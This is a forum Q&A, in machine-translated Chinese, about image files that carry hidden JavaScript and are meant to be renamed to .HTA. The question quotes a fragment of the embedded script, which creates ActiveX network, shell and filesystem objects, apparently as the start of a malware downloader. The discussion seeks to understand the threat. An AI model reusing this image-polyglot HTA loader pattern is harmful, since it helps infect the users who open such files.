javascript - 在图像文件中嵌入 Javascript

Question

我注意到分发潜在不安全代码的新趋势，人们将带有水印的图像发布到服务器，建议他们将文件名更改为具有 .HTA 文件扩展名。

我意识到 .HTA 是一个 HTML 应用程序文件，它隐含地受到 Microsoft 逻辑的信任，并且可以包含代码来执行任何基于 Web 的操作。我用我最喜欢的文本编辑器打开文件，令我惊讶的是图像文件中有 Javascript 代码!

jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV

//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");

源码下方还有更多乱码图片数据。这只是一个片段。

我非常想知道他们是如何将 Javascript 代码添加到图像文件中而不破坏图像文件格式并使其无法查看的。我把它介绍给我的一些同事，他们同样感到难过。

Answer 1

我的猜测是，这是某种类型的多部分文件(包含图像和脚本数据会非常好)，可能会立即执行(在本地上下文中)，因为它被视为超文本应用。

要了解更多信息，我们需要查看完整的实际文件。